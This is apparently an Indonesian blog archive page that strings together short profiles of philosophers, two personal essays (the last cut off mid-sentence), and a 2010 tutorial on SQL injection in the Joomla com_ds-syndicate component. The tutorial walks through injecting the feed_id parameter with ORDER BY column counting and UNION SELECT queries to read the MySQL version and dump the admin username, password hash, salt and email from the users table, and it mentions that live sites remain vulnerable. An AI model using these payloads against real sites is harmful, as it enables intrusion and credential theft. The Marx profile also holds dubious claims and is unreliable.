L'Imaginaire 1943 - Les Mouches 1943 - L'être et le néant: Essai d'ontologie phenomenologique 1945 - Huis-clos 1946 - Morts sans sépulture 1946 - La Putain respectueuse 1947 - Baudelaire 1947 - Les Jeux sont faits 1948 - Les Mains sales 1960 - Critique de la raison dialectique 1964 - Les Mots 1947-1976 - Situations (I - X) 1971-1973 - L'Idiot de la famille 1983 - Cahiers pour une morale (anumerta) Kutipan "L'existence précède l'essence." ("Eksistensi mendahului esensi(intisari)") (Dari L'existentialisme est un humanisme) "L'homme est condamné à être libre." ("Manusia dihukum untuk menjadi bebas") (Dari L'existentialisme est un humanisme) "L'enfer, c'est les autres." ("Neraka adalah orang lain.") (Dari Huis-clos)

Friedrich Wilhelm Nietzsche

Friedrich Wilhelm Nietzsche (lahir di Röcken dekat Lützen, 15 Oktober 1844 – meninggal di Weimar, 25 Agustus 1900 pada umur 55 tahun) adalah seorang filsuf Jerman dan seorang ahli ilmu filologi yang meneliti teks-teks kuno. Kehidupan Friedrich Nietzsche dilahirkan di kota Röcken, di wilayah Sachsen. Orang tuanya adalah pendeta Lutheran Carl Ludwig Nietzsche (1813-1849) dan istrinya Franziska, nama lajang Oehler (1826-1897). Ia diberi nama untuk menghormati kaisar Prusia Friedrich Wilhelm IV yang memiliki tanggal lahir yang sama. Adik perempuannya Elisabeth dilahirkan pada 1846. Setelah kematian ayahnya pada 1849 dan adik laki-lakinya Ludwig Joseph (1848-1850) keluarga ini pindah ke Naumburg dekat Saale. Filosofi Filsafat Nietzsche adalah filsafat cara memandang 'kebenaran' atau dikenal dengan istilah filsafat perspektivisme. Nietzsche juga dikenal sebagai "sang pembunuh Tuhan" (dalam Also sprach Zarathustra). Ia memprovokasi dan mengkritik kebudayaan Barat di zaman-nya (dengan peninjauan ulang semua nilai dan tradisi atau Umwertung aller Werten) yang sebagian besar dipengaruhi oleh pemikiran Plato dan tradisi kekristenan (keduanya mengacu kepada paradigma kehidupan setelah kematian, sehingga menurutnya anti dan pesimis terhadap kehidupan). Walaupun demikian dengan kematian Tuhan berikut paradigma kehidupan setelah kematian tersebut, filosofi Nietzsche tidak menjadi sebuah filosofi nihilisme. Justru sebaliknya yaitu sebuah filosofi untuk menaklukan nihilisme [1] (Überwindung der Nihilismus) dengan mencintai utuh kehidupan (Lebensbejahung), dan memposisikan manusia sebagai manusia purna Übermensch dengan kehendak untuk berkuasa (der Wille zur Macht). Selain itu Nietzsche dikenal sebagai filsuf seniman (Künstlerphilosoph) dan banyak mengilhami pelukis modern Eropa di awal abad ke-20, seperti Franz Marc, Francis Bacon,dan Giorgio de Chirico, juga para penulis seperti Robert Musil, dan Thomas Mann. Menurut Nietzsche kegiatan seni adalah kegiatan metafisik yang memiliki kemampuan untuk me-transformasi-kan tragedi hidup. Kutipan "Saya bukan seorang manusia, saya adalah sebuah dinamit!" "Yang penting bukanlah kehidupan kekal (das ewige Leben), melainkan kekal-nya 'yang menghidupkan' (die ewige Lebendigkeit)! " "Tuhan sudah mati" Karya Karya-karya Nietszche yang terpenting adalah: 1872 - Die Geburt der Tragödie (Kelahiran tragedi) 1873-1876 - Unzeitgemässe Betrachtungen (Pandangan non-kontemporer) 1878-1880 - Menschliches, Allzumenschliches (Manusiawi, terlalu manusiawi) 1881 - Morgenröthe (Merahnya pagi) 1882 - Die fröhliche Wissenschaft (Ilmu yang gembira) 1883-1885 - Also sprach Zarathustra (Maka berbicaralah Zarathustra) 1886 - Jenseits von Gut und Böse (Melampaui kebajikan dan kejahatan) 1887 - Zur Genealogie der Moral (Mengenai silsilah moral) 1888 - Der Fall Wagner (Hal perihal Wagner) 1889 - Götzen-Dämmerung (Menutupi berhala) 1889 - Der Antichrist (Sang Antikristus) 1889 - Ecce Homo (Lihat sang Manusia) 1889 - Dionysos-Dithyramben 1889 - Nietzsche contra Wagner

Karl Heinrich Marx

Karl Heinrich Marx (Trier, Jerman, 5 Mei 1818 – London, 14 Maret 1883) adalah seorang filsuf, pakar ekonomi politik dan teori kemasyarakatan dari Prusia. Walaupun Marx menulis tentang banyak hal semasa hidupnya, ia paling terkenal atas analisisnya terhadap sejarah, terutama mengenai pertentangan kelas, yang dapat diringkas sebagai "Sejarah dari berbagai masyarakat hingga saat ini pada dasarnya adalah sejarah tentang pertentangan kelas", sebagaimana yang tertulis dalam kalimat pembuka dari Manifesto Komunis. Biografi Kehidupan awal Karl Marx lahir dalam keluarga Yahudi progresif di Trier, Prusia, (sekarang di Jerman). Ayahnya bernama Herschel, keturunan para rabi, meskipun cenderung seorang deis, yang kemudian meninggalkan agama Yahudi dan beralih ke agama resmi Prusia, Protestan aliran Lutheran yang relatif liberal, untuk menjadi pengacara. Herschel pun mengganti namanya menjadi Heinrich. Saudara Herschel, Samuel — seperti juga leluhurnya— adalah rabi kepala di Trier. Keluarga Marx amat liberal dan rumah Marx sering dikunjungi oleh cendekiawan dan artis masa-masa awal Karl. Marx terkenal karena analisis nya di bidang sejarah yang dikemukakan nya di kalimat pembuka pada buku ‘Communist Manifesto’ (1848) :” Sejarah dari berbagai masyarakat hingga saat ini pada dasarnya adalah sejarah tentang pertentangan kelas.” Marx percaya bahwa kapitalisme yang ada akan digantikan dengan komunisme, masyarakat tanpa kelas setelah beberapa periode dari sosialisme radikal yang menjadikan negara sebagai revolusi keditaktoran proletariat(kaum paling bawah di negara Romawi). Marx sering dijuluki sebagai bapak dari komunisme, Marx merupakan kaum terpelajar dan politikus. Ia memperdebatkan bahwa analisis tentang kapitalisme miliknya membuktikan bahwa kontradiksi dari kapitalisme akan berakhir dan memberikan jalan untuk komunisme. Di lain tangan, Marx menulis bahwa kapitalisme akan berakhir karena aksi yang terorganisasi dari kelas kerja internasional. “Komunisme untuk kita bukanlah hubungan yang diciptakan oleh negara, tetapi merupakan cara ideal untuk keadaan negara pada saat ini. Hasil dari pergerakan ini kita yang akan mengatur dirinya sendiri secara otomatis. Komunisme adalah pergerakan yang akan menghilangkan keadaan yang ada pada saat ini. Dan hasil dari pergerakan ini menciptakan hasil dari yang lingkungan yang ada dari saat ini. – Ideologi Jerman- Dalam hidupnya,Marx terkenal sebagai orang yang sukar dimengerti, ide-ide nya mulai menunjukkan pengaruh yang besar dalam perkembangan pekerja segera setelah ia meninggal. Pengaruh ini berkembang karena didorong oleh kemenangan dari Marxist Bolsheviks dalam Revolusi Oktober Rusia. Namun, masih ada beberapa bagian kecil dari dunia ini yang belum mengenal ide Marxian ini sampai pada abad ke-20. Hubungan antara Marx dan Marxism adalah titik kontroversi. Marxism tetap berpengaruh dan kontroversial dalam bidang akademi dan politik sampai saat ini. Dalam bukunya Marx, Das Kapital (2006), penulis biografi Francis Wheen mengulangi penelitian David McLellan yang menyatakan bahwa sejak Marxisme tidak berhasil di Barat, hal tersebut tidak menjadikan Marxisme sebagai ideologi formal, namun hal tersebut tidak dihalangi oleh kontrol pemerintah untuk dipelajari. Pendidikan Marx menjalani sekolah di rumah sampai ia berumur 13 tahun. Setelah lulus dari Gymnasium Trier, Marx melanjutkan pendidikan nya di Universitas Bonn jurusan hukum pada tahun 1835 pada usia nya yang ke-17, dimana ia bergabung dengan klub minuman keras Trier Tavern yang mengakibatkan ia mendapat nilai yang buruk. Marx tertarik untuk belajar kesustraan dan filosofi, namun ayahnya tidak menyetujuinya karena ia tak percaya bahwa anaknya akan berhasil memotivasi dirinya sendiri untuk mendapatkan gelar sarjana. Pada tahun berikutnya, ayahnya memaksa Karl Marx untuk pindah ke universitas yang lebih baik, yaitu Friedrich-Wilhelms-Universität di Berlin. Pada saat itu, Marx menulis banyak puisi dan esai tentang kehidupan, menggunakan bahasa teologi yang diwarisi dari ayahnya seperti ‘The Deity’ namun ia juga menerapkan filosofi atheis dari Young Hegelian yang terkenal di Berlin pada saat itu. Marx mendapat gelar Doktor pada tahun 1841 dengan tesis nya yang berjudul ‘The Difference Between the Democritean and Epicurean Philosophy of Nature’ namun, ia harus menyerahkan disertasi nya ke Universitas Jena karena Marx menyadari bahwa status nya sebagai Young Hegelian radikal akan diterima dengan kesan buruk di Berlin. Pada tahun 1835, Marx mendaftar di Universitas Bonn untuk belajar hukum, dan di sana ia bergabung dengan Trier Tavern Club, dan sempat menjadi presiden Klub, sehingga prestasi sekolahnya buruk. Setahun kemudian, ayah Marx mendesaknya untuk pindah ke Universitas Friedrich-Wilhelms di Berlin, agar dapat lebih serius belajar. Di sini, Marx banyak menulis puisi dan esai tentang kehidupan, dengan menggunakan bahasa teologis yang diperoleh dari ayahnya yang deis. Pada saat itulah ia mengenal filsafat atheis yang dianut kelompok Hegelian-kiri. Marx memperolehi doktorat pada tahun 1841 dengan tesis yang bertajuk "Perbedaan Filsafat Alam Demokritos dan Epikurus", tetapi beliau harus menyerahkan tesisnya kepada Universitas Jena karena beliau diamarankan bahwa reputasinya di antara fakultas sebagai seorang Hegelian-kiri akan menyebabkan penerimaan yang buruk di Berlin. Marx mempunyai keponakan yang bernama Azariel, Hans, dan Gerald yang sangat membantunya dalam semua teori yang telah ia ciptakan. Marx dan Pemuda Hegelian Di Berlin, minat Marx beralih ke filsafat, dan bergabung ke lingkaran mahasiswa dan dosen muda yang dikenal sebagai Pemuda Hegelian. Sebagian dari mereka, yang disebut juga sebagai Hegelian-kiri, menggunakan metode dialektika Hegel, yang dipisahkan dari isi teologisnya, sebagai alat yang ampuh untuk melakukan kritik terhadap politik dan agama mapan saat itu.

Immanuel Kant

Immanuel Kant (Königsberg, 22 April 1724 - Königsberg, 12 Februari 1804) adalah seorang filsuf Jerman. Karya Kant yang terpenting adalah Kritik der Reinen Vernunft, 1781. Dalam bukunya ini ia “membatasi pengetahuan manusia”. Atau dengan kata lain “apa yang bisa diketahui manusia.” Ia menyatakan ini dengan memberikan tiga pertanyaan: Apakah yang bisa kuketahui? Apakah yang harus kulakukan? Apakah yang bisa kuharapkan? Pertanyaan ini dijawab sebagai berikut: Apa-apa yang bisa diketahui manusia hanyalah yang dipersepsi dengan panca indria. Lain daripada itu merupakan “ilusi” saja, hanyalah ide. Semua yang harus dilakukan manusia harus bisa diangkat menjadi sebuah peraturan umum. Hal ini disebut dengan istilah “imperatif kategoris”. Contoh: orang sebaiknya jangan mencuri, sebab apabila hal ini diangkat menjadi peraturan umum, maka apabila semua orang mencuri, masyarakat tidak akan jalan. Yang bisa diharapkan manusia ditentukan oleh akal budinya. Inilah yang memutuskan pengharapan manusia. Ketiga pertanyaan di atas ini bisa digabung dan ditambahkan menjadi pertanyaan keempat: “Apakah itu manusia?” Daftar karya 1755: Allgemeine Naturgeschichte und Theorie des Himmels 1755: meditationum quaerandam de igne saccincta delinetatio 1755: Neue Erhellung der ersten Grundsätze metaphysischer Erkenntnisse 1756: Physische Monadologie 1756: Neue Anmerkungen zur Erläuterung der Theorie der Winde 1762: Die falsche Spitzfindigkeit der vier syllogistischen Figuren 1763: Versuch, den Begriff der negativen Größen in der Weltweisheit einzuführen 1763: Untersuchung über die Deutlichkeit der Grundsätze der natürlichen Theologie und Moral 1763: Der einzige mögliche Beweisgrund zu einer Demonstration für das Dasein Gottes 1764: Beobachtungen über das Gefühl des Schönen und Erhabenen 1764: Über die Krankheit des Kopfes 1766: Träume eines Geistersehers erläutert durch Träume der Metaphysik. (Über Emanuel Swedenborg) 1770: Über die Form und die Prinzipien der sinnlichen und intelligiblen Welt. (De mundi sensibilis atque intelligibillis forma et principiis.) 1775: Über die verschiedenen Rassen der Menschen 1781: 1. Auflage der Kritik der reinen Vernunft 1783: Prolegomena zu einer jeden künftigen Metaphysik, die als Wissenschaft wird auftreten können 1784: Idee zu einer allgemeinen Geschichte in weltbürgerlicher Absicht 1784: Beantwortung der Frage: Was ist Aufklärung 1785: Grundlegung der Metaphysik der Sitten 1786: Metaphysische Anfangsgründe der Naturwissenschaft 1786: Mutmaßlicher Anfang der Menschengeschichte 1787: Kritik der reinen Vernunft 2., stark erweiterte Auflage 1788: Kritik der praktischen Vernunft 1790: Kritik der Urteilskraft 1793: Die Religion innerhalb der Grenzen der bloßen Vernunft 1793: Über den Gemeinspruch: Das mag in der Theorie richtig sein, taugt aber nicht für die Praxis 1794: Das Ende aller Dinge 1795: Zum ewigen Frieden 1797: Die Metaphysik der Sitten 1798: Der Streit der Fakultäten 1798: Anthropologie in pragmatischer Hinsicht abgefasst

René Descartes

René Descartes (IPA: ʀəˈne deˈkaʀt; lahir di La Haye, Perancis, 31 Maret 1596 – meninggal di Stockholm, Swedia, 11 Februari 1650 pada umur 53 tahun), juga dikenal sebagai Renatus Cartesius dalam literatur berbahasa Latin, merupakan seorang filsuf dan matematikawan Perancis. Karyanya yang terpenting ialah Discours de la méthode (1637) dan Meditationes de prima Philosophia (1641). Descartes, kadang dipanggil "Penemu Filsafat Modern" dan "Bapak Matematika Modern", adalah salah satu pemikir paling penting dan berpengaruh dalam sejarah barat modern. Dia menginspirasi generasi filsuf kontemporer dan setelahnya, membawa mereka untuk membentuk apa yang sekarang kita kenal sebagai rasionalisme kontinental, sebuah posisi filosofikal pada Eropa abad ke-17 dan 18. Pemikirannya membuat sebuah revolusi falsafi di Eropa karena pendapatnya yang revolusioner bahwa semuanya tidak ada yang pasti, kecuali kenyataan bahwa seseorang bisa berpikir. Dalam bahasa Latin kalimat ini adalah: cogito ergo sum sedangkan dalam bahasa Perancis adalah: Je pense donc je suis. Keduanya artinya adalah: "Aku berpikir maka aku ada". (Ing: I think, therefore I am) Meski paling dikenal karena karya-karya filosofinya, dia juga telah terkenal sebagai pencipta sistem koordinat Kartesius, yang mempengaruhi perkembangan kalkulus modern.

Plato

Plato (bahasa Yunani Πλάτων) (lahir sekitar 427 SM - meninggal sekitar 347 SM) adalah filsuf Yunani yang sangat berpengaruh, murid Socrates dan guru dari Aristoteles. Karyanya yang paling terkenal ialah Republik (dalam bahasa Yunani Πολιτεία atau Politeia, "negeri") di mana ia menguraikan garis besar pandangannya pada keadaan "ideal". Dia juga menulis 'Hukum' dan banyak dialog di mana Socrates adalah peserta utama. Sumbangsih Plato yang terpenting tentu saja adalah ilmunya mengenai ide. Dunia fana ini tiada lain hanyalah refleksi atau bayangan daripada dunia ideal. Di dunia ideal semuanya sangat sempurna. Hal ini tidak hanya merujuk kepada barang-barang kasar yang bisa dipegang saja, tetapi juga mengenai konsep-konsep pikiran, hasil buah intelektual. Misalkan saja konsep mengenai "kebajikan" dan "kebenaran". Salah satu perumpamaan Plato yang termasyhur adalah perumpaan tentang orang di gua. Ada yang berpendapat bahwa Plato adalah filsuf terbesar dalam sejarah manusia. Semua karya falsafi yang ditulis setelah Plato, hanya merupakan "catatan kaki" karya-karyanya saja.

Rabu, 13 Januari 2010

Implementasi SQL Injection pada Joomla

Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika admin tidak memperhatikan security risk yang ada? Apa jadinya jika 'the choosen one' ternyata seorang admin yang tidak tahu sama sekali mengenai system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin yang meremehkan system keamanan. Apa jadinya jika server anda memiliki konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari hasil penggabungan dua kata tersebut. Yang terjadi adalah peluang seorang attacker untuk menyusup ke dalam website anda semakin memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang attacker mengambil profit dari exploitasi system yang ada. Dalam berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti yang dilakukan oleh para carder. Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi hanya dengan bermodalkan internet dan browser internet tentunya, dan sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah seorang manusia biasa yang memiliki pengetahuan minimal dari sistem keamanan data. Ya, belum lama ini, salah satu component joomla terbukti mengidap penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan berakibat kematian pada akhirnya. :D~~ Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah salah satu contoh dari sekian banyak bug fatal yang terdapat dalam joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki kecacatan seperti ini. Ya, Langsung aja ... http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1 Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ' ) di belakangnya. http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1' Apa yang terjadi ? ... error... Langkah selanjutnya adalah cari urutan si table 'dssyndicate_feeds' dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda : index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* --> errornya sama index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* --> errornya sama … index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* --> errornya berbeda perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya. Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini. Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban. index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20+from+wc_users lihat paling akhir dari baris tersebut, from+wc_users wc_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user. Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya. Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut, Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan. Lihat angka 2 di dalam tag : <title>2 (18) Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini ... http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1, @@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from +wc_users perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan : 5.0.33 (18) Mysql versi 5.0.33 :D, sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. :D. Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini : http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1, username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut ... admin (18) Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini : http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1, concat(username,0x3a,password,0x3a,email,0x3a,usertype),3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users perhatikan, string username, diganti dengan concat(username,0x3a,password,0x3a,email,0x3a,usertype), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah : 0x3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini : admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK: alkemail@gmail.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it :Super Administrator Jika di urutkan : Username : admin Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK Email : alkemail@gmail.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it User type : Super Administrator Yang di lakukan selanjutnya adalah mencoba crack password, karena itu masih dalam bentuk hash, dengan kata lain password yang masih terenkripsi. :D. Yups, pengambilan username dan password secara paksa telah terjadi, si attacker kembali mencari cara bagaimana mendapatkan password yang asli, dengan cara mengcrack password hash tersebut. Untuk keperluan eksperimen, silahkan download filenya di sini. http://joomlacode.org/gf/download/frsrelease/6828/22538/Joomla_1.0.15-Stable-Full_Package.zip http://www.unair.info/ilmuwebsite/hack/joomla/com_ds-syndicate.tar.gz Ref: Click

Senin, 04 Januari 2010

Sejarah yang Kembali Berpendar

Sejarah yang Kembali Berpendar
Oleh
Muhammad Teguh Asep Suandi
04 Januari 2010, 13.06
Mempelajari sejarah mempunyai prioritas tersendiri, sebenarnya banyak hal yang bisa kita ambil dari lembaran-lembaran sejarah masa lalu. Adasebuah kiasan “ Bangsa yang besar adalah Bangsa yang menghargai sejarah Bangsanya “. Untuk menghargai sejarah bangsa sendiri, terlebih dahulukita harus tau akan sejarah itu sendiri. Dewasa ini ilmu sejarah kurang diminati oleh kaum intelektual muda Bangsa ini. Mereka lebih cenderung pada ilmu-ilum alam,science dan teknologi,yang mungkin menurut paradigma mereka, cabang ilmu tersebut lebih menjanjikan kesuksesan dimasa mendatang. Indonesia sebagai bangsa yang besar, dengan lebih dari 17.000 pulau yang tersebar dari sabang sampai merauke, dengan berjuta pesona alam,budaya dan tradisi. Belajar sejarah akan memberikan nuansa yang berbeda, kita seolah dapat menembus dimensi ruang dan waktu, menyelami luasnyasamudera khazanah sejarah Nusantara dengan sejuta peristiwa dan misteri didalamya. Ketika mambaca sejarah tentang pembacaan teks proklamasi di lapangan Ikada. Kita seakan mendengarkan suara gemuruh Presiden RI Pertama Ir.Soekarno mengumandangkan proklamasi kemerdekaan Bangsa ini. Ketika kita membaca sejarah tentang G30 SPKI, kita seolah menyaksikankekejaman orang-orang komunis yang membantai petinggi-petinggi militer kebanggaan Negeri ini. Jauh kebelakang sana, kita menjadi tamu dlam sebuah pertunjukan luar biasa, tentang proses awal terbentuknya bumi, yang konon berasal dari ledakanbesar yang kemudian disebut dengan ledakan supernova ledakan bigbang. Jika kita memandang sejarah dari segi substansi historialnya, ada suatu korelasi dengan pengetahuan-pengetahuan ilmu alam. Bukankah kitamengenal lampu bahwa itu hasil dari penemuan Thoma Alfa Edison yang diawali dengan berbagai kegagalan?. Dengan menelusuri sejarah kitamengenal teori relativitas Albert Einstein yang luar biasa, yang terbukti dengan Hancurnya Hiroshima dan Nagasaki , sehingga jepang menyerah padasekutu tanpa syarat, pada tanggal 14-15 Agustus 1945, yang kemudian mengakibatkan kekosongan pihak penjajah di Negeri ini yang kemudian situasiini digunakan untuk merumuskan kemerdekaan Negeri ini. Sehingga tercetuslah kemerdekaan selang satu hari setelah pengeboman Hiroshima danNagasaki. Tanpa disadari mempelajari sejarah seperti membuat umur kita sudah beratus-ratus tahun bahkan berjuta-juta tahun. Dengan mempelajarisejarah kita dapat berpindah dari satu masa ke masa lainnya, dari satu dimensi ke dimensi lainnya dengan kecepatan yang sangat luar biasa. Sejarah mengenalkan kita pada pemimpin-pemimpin dunia, ilmuwan-ilmuwan fenomenal dengan karya-karyanya. Sejarah mengenalkan kita kepada KHHasyim Asy’ari dengan Nahdhatul Ulamanya, mengenalkan kita kepada KH Ahmad Dahlan dengan Muhammadiyahnya dan terlebih lagi, sejarahmengenalkan kita kepada junjungan kita, Rasul Allah yang diutus untuk menyempurnakan akhlak manusia dan mengajak manusia untuk “ FastabiqulKhairat “. Rasul Allah yang diutus sebagai “Rahmatan Lil’Alamin” yaitu Nabi Muhammad SAW.

Resonansi Masa Lalu

Resonansi Masa Lalu
Oleh
Muhammad Teguh Asep Suandi
4 Januari 2010,13.02
Menyibak kembali lembar demi lembar kisah masa lalu, menggali kenangan indah dalam sebuah kehidupan. Mencari esensi melalui sebuah kaleidoskop kehidupan. Kisah cinta masa remaja yang begitu menarik dan penuh intrik. Sebuah kisah singkat, tentang cinta. Kisah ini dimulai ketika aku duduk di bangku SMA kelas 11, tanpa disangka, watu itu kelasku kehadiran tamu baru, namanya Evi Praviawati, gadis bali perawakan tinggi dengan senyuman yang sungguh menawan, getarannya mungkin bias menghancurkan karang-karang dilautan. Semua mata seolah tersihir, denyut nadipun seakan terhenti, beruntung Evi tersenyum tidak lama. Tempat tinggal Evi cukup jauh dari sekolah, harus melewati dua desa dari desa tempat sekolah berada. Jika ditempuh dengan berjalan kaki, mungkin bias memakan waktu setengah jam, itupun harus melewati hamparan sawah dan menyebrangi riak sungai. Perkenalan lebih lanjut dengan Evi ketika ia bergabung di Gerakan Pramuka. Waktu itu aku menjabat sebagai Ketua Dewan Ambalan dan Evi Sekretarisnya. Duh….. mimpi apa dapat sekretaris seperti dia…??. Karena aktif di Pramuka, banyak kegiatan perkemahan yang sering kita ikuti, suka duka menjadi panitia perkemahan kita lalui bersama. Ada pengalaman menarik dari setiap kegiatan Pramuka. Suatu sore aku ada tugas untuk mengajar Pramuka di sekolah yang letaknya di desa tetangga, syukurnya yang menjadi pendampingku waktu itu adalah Evi. Perjalanan dimulai dari sekolahku, kurang lebih 20 menit berjalan kaki, kami sudah masuk ke daerah desa tetangga, ternyata di perjalanan hujan deras, kita terjebak ditengah derasnya hujan dan lapangnya daerah pesawahan. Daerahku memang daerah pedesaan, masih banyak sawah dan kebun yang luasnya berhektar-hektar. Tidak ada tempat untuk berteduh, aku lihat Evi kedinginan, tubuhnya sedikit menggigil. Duh….. kasihan, dia hanya bias tersenyum ketika aku memandang wajahnya. Beruntung senyumannya tidak lama. Waktu itu seperti sedang shooting film India, namun sayangnya bukan lagu bollywood yang berkumandang, tapi justru gemuruh guntur dan kilatan petir yang bersahutan. Cerita berlanjut tidak hanya dari organisasi, namun juga kegiatan belajar mengajar di sekolah, Evi gadis yang pandai mengolah kata, merangkainya dengan tutur bahasa yang indah. Pola pikirnya pun cukup dewasa, pemikirannya penuh inovasi dan cita-cita tinggi, tidak hanya terlibat dalam diskusi mata pelajaran, tapi juga diskusi pribadi. Tak jarang kit saling bertukar pikiran dan saling mengemukakan argumentasi. Seiring dengan kedekatanku dengan Evi, lambat laun namun pasti, cintapun mulai bersemi, tak terhitung berapa banyak puisi cinta yang tercipta untuknya. Kehadirannya menjadi buah inspirasi . dan tak terhitung pula berapa tetes air mata ini terjatuh karena mencintainya. Evi gadis yang energik, penuh semangat dan juga pandai bersosialisasi. Kesehariannya yang menggunakan bahasa Indonesia tidak menjadi penghalang dalam berkomunikasi, karena mayoritas teman-temannya memakai bahasa sunda. Evi memang kurang mengerti bahasa sunda, wajar memang, ia lahir di Aik Meil, daerah Nusa Tenggara, dan kemudian besar di Bali. Sesekali Evi memakai bahasa sunda, tapi jujur bukan itu yang aku inginkan, bahasanya terkadang ngawur, tidak jarang pula mengundang tawa teman-temannya. Kisah berlanjut sampai aku duduk di kelas 12, sejauh ini tidak ada kata cinta yang sempat terucap dariku yang langsung aku tujukan padanya. Hanya puisi-puisi yang terpajang di mading sekolah yang sebenarnya ingin kusampaikan langsung untuknya. Terkadang aku tuliskan kata-kata romantis ala anak remaja dengan sandi-sandi pramuka di diary kecilku. Sejak rasa cinta itu mulai ada, pikiran inipun terkadang terbagi antara cinta dan cita-cita. Pada masa kelas 12 semakin banyak waktuku disekolah untuk berdiskusi dengannya, terlebih ketika Kepala Sekolah menunjukku untuk menjadi tutor sebaya untuk mata pelajaran Bahasa Inggris, sebagai upaya persiapan menghadapi Ujian Nasional. Semakin banyak waktu ini untuk berjuang bersama teman-teman kelas 12 untuk sukses di Ujian Nasional. Evi lebih aktif ketika membahas pelajaran Bahasa Indonesia dibanding dengan mata pelajaran yang lainnya. Argumentasinya sungguh menarik untuk dipelajari, dan ternyata dia suka sastra. Perkenalan dengan Evi berlanjut kepada perkenalan dengan keluarganya. Ibunya orang yang ramah, dari sorot mata nya tersirat bahwa kasih sayangnya begitu besar bagi anak-anaknya. Sering terjadi perbincangan antara aku dan ibunya Evi, mulai masalah organisasi, sampai ke masalah pribadi. Beberapa bulan menjelang Ujian Nasional, Evi dan keluarganya pindah ke Cirebon, orang tuanya membuka rumah makan disana. Beruntung Evi tetap sekolah di tempatku, padahal jarak yang harus ditempuh lebih jauh lagi, jarak yang jauh sempat merenggangkan hubunganku dengan keluarganya. Lambat laun api cinta semakin membara, benih-benih rindu mulai tumbuh menyelimuti hati. Perasaan ini berkecamuk ketika satu hari saja tidak bertemu dengannya. Sampai pada suatu hari, Evi tidak masuk sekolah, kudengar kabarnya dia sakit. Ada cerita menarik disini, ketika itu aku hanya punya uang Rp.4000, setelah dihitung-hitung cukup untuk sekedar ongkos pulang-pergi ke rumah Evi. Dengan hati mantap, sepulang sekolah aku langsung meluncur menuju ke rumahnya. Ah….. lega rasanya ketika berjumpa. Beberapa jam lamanya aku habiskan waktu untuk berbincang dengannya. Obrolan yang selalu seru. Tidak terasa waktu menunjukkan pukul 5 sore, selesai shalat ashar aku pamit pulang pada Evi dan orang tuanya. Meskipun kondisinya belum 